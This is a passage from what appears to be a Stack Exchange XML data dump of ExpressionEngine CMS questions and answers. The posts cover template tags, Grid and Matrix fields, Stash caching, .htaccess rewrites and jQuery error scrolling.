{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any tips will be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="115" LastEditDate="2015-02-05T19:39:31.087" LastActivityDate="2016-06-13T03:40:53.780" Title="Channel Entries Tag Will Not Sort Using Category Parameter" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28853" PostTypeId="1" CreationDate="2015-02-05T17:25:50.840" Score="1" ViewCount="171" Body="&lt;p&gt;The response header for one of my pages is too large, some browsers to throw a 500 error, and preventing me from using W3C HTML validation:&#xA;&lt;a href=&quot;http://example.com/water-softener-reviews&quot; rel=&quot;nofollow&quot;&gt;http://example.com/water-softener-reviews&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a (very long) line for each channel entry beginning (viewing using Web Developer in Firefox):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp_flash=a%3A2%3A%7Bs%3A17%3A%22%3Aold...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I notice one line says expiry is 1997 - not sure if that's normal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Expires: Mon, 26 Jul 1997 05:00:00 GMT&#xA;Last-Modified: Thu, 05 Feb 2015 17:09:29 GMT&#xA;Pragma: no-cache&#xA;X-Powered-By: PleskLin&#xA;Vary: Accept-Encoding&#xA;Content-Encoding: gzip&#xA;Content-Length: 11092&#xA;Keep-Alive: timeout=100, max=97&#xA;Connection: Keep-Alive&#xA;Content-Type: text/html; charset=UTF-8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find any information that suggests a solution to this, other than the user needs to increase is header response size limit. The header is so large I don't think increasing the limit is a valid solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for a fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version is 2.7.2.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastEditorUserId="1851" LastEditDate="2015-03-03T11:02:37.433" LastActivityDate="2015-03-03T11:02:37.433" Title="Response header too large" Tags="|codeigniter|cookies|error-500|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28854" PostTypeId="1" AcceptedAnswerId="28866" CreationDate="2015-02-05T17:30:18.170" Score="0" ViewCount="69" Body="&lt;p&gt;I am new to the stash plugin so i am probably doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of a layout template, i have a channel entry loop that sets a stash variable like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:set&#xA;    save=&quot;yes&quot; &#xA;    scope=&quot;user&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;    replace=&quot;yes&quot; &#xA;    refresh=&quot;60&quot;&#xA;    output=&quot;no&quot;&#xA;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;subscribers&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;        dynamic=&quot;off&quot;&#xA;        limit=&quot;1&quot;&#xA;        author_id=&quot;CURRENT_USER&quot;&#xA;    }&#xA;        {subscriber_children search:child_active=&quot;=YES&quot; limit=&quot;1&quot;}&#xA;            {stash:child_name}{child_name}{/stash:child_name}&#xA;            {stash:year_group}{year_group}{/stash:year_group}&#xA;        {/subscriber_children}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the page, there is a dropdown that allows the user to change the active_child, so on /page1 the user can select child2 to set to active, this jumps to /switch-child/entry_id where it sets the child to active, then redirects back to /page1. What i am seeing is that i have to manually refresh /page1 again to update the stash variable (child_name)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;child_name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do i get it to update when /page1 loads?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-02-06T13:47:44.860" Title="Stash - needs page refresh to reset" Tags="|stash|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28855" PostTypeId="2" ParentId="18259" CreationDate="2015-02-05T19:35:56.597" Score="0" Body="&lt;p&gt;First don't get it to work (next area)&#xA;{YOUR_MATRIX_FIELD:total_rows} returns the entry of cell_1 if I use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if &quot;{{YOUR_MATRIX_FIELD limit=&quot;1&quot;}{field_total_rows}{/YOUR_MATRIX_FIELD}}&quot; &gt; &quot;{exp:math formula='{segment_3} + {rows_per_page}' absolute='yes'}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine&lt;/p&gt;&#xA;" OwnerUserId="5023" LastActivityDate="2015-02-05T19:35:56.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28856" PostTypeId="2" ParentId="28837" CreationDate="2015-02-05T20:20:11.147" Score="1" Body="&lt;p&gt;You could do that way easier!&#xA;create a channel called something like &quot;vehicle_brands&quot;. &#xA;create a field group with all the fields you can need for the brands such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{title} &lt;/li&gt;&#xA;&lt;li&gt;{vehicles_brand_name}&lt;/li&gt;&#xA;&lt;li&gt;{vehicles_logo}&lt;/li&gt;&#xA;&lt;li&gt;{vehicles_country}&lt;/li&gt;&#xA;&lt;li&gt;{vehicles_rel_models} (relationship field to a models channel)&lt;/li&gt;&#xA;&lt;li&gt;etc &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way you have all data in from the desired make in one channel entry. So on the example.com/browse/ page you can easily show a listing of all makes, with logo's etc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;vehicle_brands&quot; dynamic=&quot;no&quot;}&#xA;{vehicles_brand_name} - &amp;lt;img src=&quot;{vehicles_logo}&quot; /&amp;gt;&amp;lt;br&amp;gt;&#xA;This car comes from {vehicles_country}&amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&quot;/browse/make/{url_title}/&quot;&amp;gt;View all details&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for the detail page, create a template in the browse group called make.&#xA;In there you can show all details like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;vehicle_brands&quot; dynamic=&quot;no&quot; url_title=&quot;segment_3&quot; limit=&quot;1&quot;}&#xA;{vehicles_brand_name} - &amp;lt;img src=&quot;{vehicles_logo}&quot; /&amp;gt;&amp;lt;br&amp;gt;&#xA;This car comes from {vehicles_country}&amp;lt;br&amp;gt;&#xA;More details&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="215" LastActivityDate="2015-02-05T20:20:11.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28857" PostTypeId="1" CreationDate="2015-02-06T07:18:37.293" Score="1" ViewCount="1984" Body="&lt;p&gt;I just need to check if one field artist_gallery:image in a grid field is set, if not the markup should not be rendered.&#xA;This syntax {if &quot;{artist_gallery:total_rows}” &gt; 0} or {if artist_gallery:total_rows &gt; 0} is not working ... if there is no image, the markup is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thank you!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if &quot;{artist_gallery:total_rows}&quot; &amp;gt; 0}&#xA; &amp;lt;div id=&quot;artistgallery&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;cycle-slideshow&quot;&amp;gt;&#xA;   {artist_gallery}&#xA;    &amp;lt;img src=&quot;{artist_gallery:image}&quot;&amp;gt;&#xA;   {/artist_gallery}&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;adv-custom-pager&quot; &amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;clb&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5025" LastEditorUserId="28" LastEditDate="2015-02-06T16:16:33.850" LastActivityDate="2015-04-09T19:56:03.687" Title="how to check if grid field is empty" Tags="|grid|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28858" PostTypeId="2" ParentId="28857" CreationDate="2015-02-06T08:48:28.587" Score="3" Body="&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_grid_field}&#xA;    {my_grid_field}&#xA;        Stuff in here if the grid field has rows&#xA;    {/my_grid_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-06T08:48:28.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28859" PostTypeId="1" AcceptedAnswerId="28860" CreationDate="2015-02-06T09:15:26.850" Score="0" ViewCount="32" Body="&lt;p&gt;I'm planning a site that will have approximately 10,000 categories in the installation.Does ExpressionEngine allow this? Is there a maximum number of categories allowed?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-02-06T09:31:31.530" Title="Maximum number of categories" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28860" PostTypeId="2" ParentId="28859" CreationDate="2015-02-06T09:31:31.530" Score="1" Body="&lt;p&gt;There is no maximum number of categories in EE. However, if you have 10k categories in a group, the Publish Form will get quite unwieldy, listing out all of the categories in a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to look at add-ons like &lt;a href=&quot;https://devot-ee.com/add-ons/categories-field&quot; rel=&quot;nofollow&quot;&gt;Categories Field&lt;/a&gt; to improve on the default interface, or perhaps use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;Relationships&lt;/a&gt; rather than Categories.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-06T09:31:31.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28861" PostTypeId="2" ParentId="21854" CreationDate="2015-02-06T10:06:05.307" Score="0" Body="&lt;p&gt;It looks like you want to reinvent &lt;a href=&quot;https://github.com/intoeetive/category_parents&quot; rel=&quot;nofollow&quot;&gt;Category Parents&lt;/a&gt; add-on. If you want to reproduce the functionality in your own add-on, use the code as an example.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-06T10:06:05.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28862" PostTypeId="2" ParentId="28850" CreationDate="2015-02-06T10:42:12.927" Score="2" Body="&lt;p&gt;ExpressionEngine relationships between pages / entries in the core are linear, there is no such thing as a child page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have nested URLs, have a look at third-party add-ons, such as Structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also achieve nested URLs with built-in Pages module, but it's not as visual as Structure&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-06T10:42:12.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28863" PostTypeId="1" CreationDate="2015-02-06T10:48:02.287" Score="0" ViewCount="63" Body="&lt;p&gt;have been scrachting my head about this for the last 2 days:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new channel (duplicated another channel) and set everything up else up as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATM the channel holds about 28 entries. Some of the entries show problems with Channel Images, some not. It seems to be totally random to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in an entry with problems the CP doesn't seem to be loading correctly. It shows this at the bottom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ReTED.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Chrome Console I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LvXiE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to upload an image everything looks right, after Submitting and going back into the entry no images are shown though. The images are on the server - I checked that with FTP and the directory settings and permission are identical to other entries that are working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody with an idea or better skills with the Console to point me into the right direction?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2015-05-10T21:59:32.473" Title="Unable to upload images with Channel Images: Uncaught TypeError in Console in CP" Tags="|control-panel|error|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28864" PostTypeId="2" ParentId="26611" CreationDate="2015-02-06T11:30:27.370" Score="0" Body="&lt;p&gt;If Chris Barber-Riley's syntax doesn't work you could also try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}#bottom&quot;&amp;gt;Your link here&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-06T11:30:27.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28865" PostTypeId="2" ParentId="28847" CreationDate="2015-02-06T11:37:52.420" Score="0" Body="&lt;p&gt;If this exp:channel:entries code block is appearing on a page that is used for displaying a specific entry (e.g. a specific news article page) then try adding a dynamic=&quot;no&quot; parameter to the channel:entries tag. Otherwise, I would double-check that Robson hasn't already hit the nail on the head with his 'nested channel:entries' hypothesis.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-06T11:37:52.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28866" PostTypeId="2" ParentId="28854" CreationDate="2015-02-06T13:47:44.860" Score="0" Body="&lt;p&gt;The stash:get is probably being run in the template parse order before it's value is available. One fix is to have the stash:get run later using process=&quot;end&quot; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;child_name&quot; process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-02-06T13:47:44.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28867" PostTypeId="1" CreationDate="2015-02-06T14:02:05.400" Score="0" ViewCount="37" Body="&lt;p&gt;I want to add several images to one page, but I only see the space to upload one image. Is it possible to add more?&lt;/p&gt;&#xA;" OwnerUserId="5026" LastActivityDate="2015-02-06T14:09:07.923" Title="How can we include multiple images on a page?" Tags="|image|" AnswerCount="1" CommentCount="2" ClosedDate="2015-02-06T16:09:40.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="28868" PostTypeId="2" ParentId="28867" CreationDate="2015-02-06T14:09:07.923" Score="2" Body="&lt;p&gt;If this is regular File field, then you can only upload only file to it. If you need multiple files within one field, it is best to set up Grid field with one column being File field. This will require some changes in template code as well.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-06T14:09:07.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28869" PostTypeId="2" ParentId="28847" CreationDate="2015-02-06T14:14:31.910" Score="0" Body="&lt;p&gt;Solved the problem with using &lt;code&gt;{title}&lt;/code&gt; instead of &lt;code&gt;{url_title}&lt;/code&gt; in conditional.&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2015-02-06T14:14:31.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28870" PostTypeId="1" CreationDate="2015-02-06T14:22:34.477" Score="0" ViewCount="222" Body="&lt;p&gt;I'm building out a multiple page channel form which was working fine until I got to where I need to use a Grid/Matrix field. I was unable to find documentation on how to customize the look of Grid so when with Matrix based on this &lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow noreferrer&quot;&gt;Meta Q article&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a similar issue on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21461/multiple-custom-matrix-field-in-channel-form-issue&quot;&gt;StackExchange Here&lt;/a&gt;, but the fix/hack there doesn't work, or rather I was unable find the specific item to change. That is likely due to me being on EE 2.92.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---UPDATE---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removed original code and adding in new code as I'm closer to a solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---UPDATE---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current code minus the js from Meta Q is below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Somewhat simplified code is below. With this code if I edit an entry in the CP the matrix cells display the values. However when I save the entry all data for the matrix is deleted. Starting fresh no data is saved. The full matrix has 7 cells but I'm working only with the first cell for now until I get it to save.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;tool&quot; url_title=&quot;{pre_seg_4}&quot; entry_id=&quot;{pre_entry_id}&quot; status=&quot;not foo&quot;}&#xA;&#xA;{exp:channel:form &#xA;    channel=&quot;tool&quot;&#xA;    include_jquery=&quot;yes&quot;&#xA;    include_assets=&quot;yes&quot;&#xA;    return=&quot;tool/page/6/URL_TITLE/ENTRY_ID&quot;&#xA;    status=&quot;pending&quot;&#xA;    url_title=&quot;{pre_seg_4}&quot;&#xA;    entry_id=&quot;{pre_entry_id}&quot;&#xA;    author_id=&quot;2&quot;&#xA;    logged_out_member_id=&quot;2&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;&#xA;    } {!--error_handling=&quot;inline&quot;--}&#xA;&#xA;&#xA;    {!--using matrix fields in channel form&#xA;        http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&#xA;        --}&#xA;&#xA;    &amp;lt;div class=&quot;fields&quot; id=&quot;sortable&quot;&amp;gt;&#xA;&#xA;        {tool_experience2}&#xA;        &amp;lt;div class=&quot;field&quot;&amp;gt;&amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;&#xA;            &amp;lt;input class=&quot;new_row_id&quot; type=&quot;hidden&quot; name=&quot;tool_experience2[row_order][]&quot; value=&quot;row_id_{row_id}&quot;&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;company[row_id_{row_id}][col_id_1]&quot;&amp;gt;Company&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;company[row_id_{row_id}][col_id_1]&quot; value=&quot;{company}&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;span class=&quot;delete_row&quot;&amp;gt;[x]&amp;lt;/span&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--end field row--&amp;gt;&#xA;        {/tool_experience2}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;buttons&quot;&amp;gt;&#xA;      &amp;lt;input id=&quot;new&quot; type=&quot;button&quot; value=&quot;add row&quot;&amp;gt;       &#xA;      {!--&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;--}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;{/exp:channel:form}&#xA;{exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And source view for the matrix rows on the front end&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;fields&quot; id=&quot;sortable&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;field&quot;&amp;gt;&amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;&#xA;                    &amp;lt;input class=&quot;new_row_id&quot; type=&quot;hidden&quot; name=&quot;tool_experience2[row_order][]&quot; value=&quot;row_id_2&quot;&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;company[row_id_2][col_id_1]&quot;&amp;gt;Company&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;company[row_id_2][col_id_1]&quot; value=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;                    &amp;lt;span class=&quot;delete_row&quot;&amp;gt;[x]&amp;lt;/span&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!--end field row--&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Really need to be able to customize the look of either a Matrix or Grid field. Any thoughts on how to get this fixed/working?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-06T23:18:33.670" Title="Channel Form and Matrix - not saving Data" Tags="|matrix|safecracker|template-scripting|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28871" PostTypeId="1" CreationDate="2015-02-06T15:03:58.830" Score="3" ViewCount="1439" Body="&lt;p&gt;We're working on a site that has Wordpress installed as the main CMS. EE is installed in subdirectory, and I am wanting to remove index.php. Everything I have tried removes both index.php and the subdirectory, but I need that subdirectory to stay in place, so WP will leave it alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an address like:&#xA;site.com/EE_subdirectory/index.php/site/page-url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needs to change to:&#xA;site.com/EE_subdirectory/site/page-url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this .htaccess to my EE subdirectory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it took out both the subdirectory and index.php. Do I need to do something to the WP .htaccess instead? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3412" LastActivityDate="2018-10-07T12:00:17.697" Title="Removing index.php but leaving subdirectory" Tags="|htaccess|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28872" PostTypeId="1" CreationDate="2015-02-06T15:09:53.683" Score="1" ViewCount="45" Body="&lt;p&gt;I have a freemember registration form that is working. However my form is at the bottom of the page. When inline errors are triggered, my form jumps to the top of the page, instead of the top of the form or error.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2016-05-10T18:18:47.727" Title="Freemember form jumps to top on inline_errors" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28873" PostTypeId="2" ParentId="28871" CreationDate="2015-02-06T15:26:26.657" Score="0" Body="&lt;p&gt;Please try this in &lt;code&gt;EE_subdirectory/.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt; &#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;    RewriteCond $1 !^(index\.php) [NC]&#xA;    RewriteRule ^(.*)$ /EE_subdirectory/index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-02-06T15:26:26.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28874" PostTypeId="2" ParentId="28841" CreationDate="2015-02-06T16:15:40.653" Score="0" Body="&lt;p&gt;Facebook caches data so if you're testing a specific URL and not seeing the results as you'd expect, it's most likely their cache is storing incorrect information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can force clear the Facebook cache for a specific url using their &lt;a href=&quot;https://developers.facebook.com/tools/debug/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Debugger tool&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2015-02-06T16:15:40.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28875" PostTypeId="2" ParentId="28839" CreationDate="2015-02-06T16:21:10.493" Score="1" Body="&lt;p&gt;Your errors are saying that files are missing so it's safe to deduce that something isn't set up correctly. I suggest redownloading the files from your Solspace account and reuploading them to your server to test your theory.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2015-02-07T04:24:25.157" LastActivityDate="2015-02-07T04:24:25.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28876" PostTypeId="2" ParentId="28851" CreationDate="2015-02-06T16:25:13.003" Score="0" Body="&lt;p&gt;Try adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to your entries {exp:channel:entries} tag. This will stop EE from doing some things that it does automatically based on the page's URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2015-02-06T16:25:13.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28877" PostTypeId="2" ParentId="27213" CreationDate="2015-02-06T16:31:39.097" Score="0" Body="&lt;p&gt;First, I would update to the current release designed for EE 2.9.2. The current release is Store 2.4.1. The version you are using should work, but I recommend using the current version so we can do proper debugging.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-02-06T16:31:39.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28879" PostTypeId="1" CreationDate="2015-02-06T17:14:30.423" Score="0" ViewCount="34" Body="&lt;p&gt;Does anyone know how to remove the E-commerce tab? It's not really useful for us and can't be removed as far as I can tell — which is a problem on MSM sites that cannot have access to CT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hacking it with ZooFlexible Admin but it's a pain configuring this every MSM install (there are many and it's growing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2016-05-21T07:56:11.607" Title="Removing the CartThrob &quot;Ecommerce&quot; tab" Tags="|cartthrob|accessory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28880" PostTypeId="2" ParentId="28872" CreationDate="2015-02-06T17:30:59.560" Score="0" Body="&lt;p&gt;One way to solve (work around) this is to use some jQuery to check for the presence of errors in your form and then scroll to them if there are any. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($('.error').length &amp;gt; 0) {&#xA;    $('html, body').animate({&#xA;        scrollTop: $('.error').first().offset().top&#xA;    }, 2000);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or to insert a notice at the top of the page prompting the user to scroll down and check for errors in their form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($('.error').length &amp;gt; 0) {&#xA;    $('h1').after('&amp;lt;p class=&quot;error&quot;&amp;gt;There were errors with your submission. Please see below.&amp;lt;/p&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example assumes you set the Freemember error handling to inline and your error delimiters use the class &lt;code&gt;.error&lt;/code&gt; (see the &lt;a href=&quot;https://github.com/devdemon/freemember/blob/master/docs/register_tag.md#error_handling&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-06T17:30:59.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
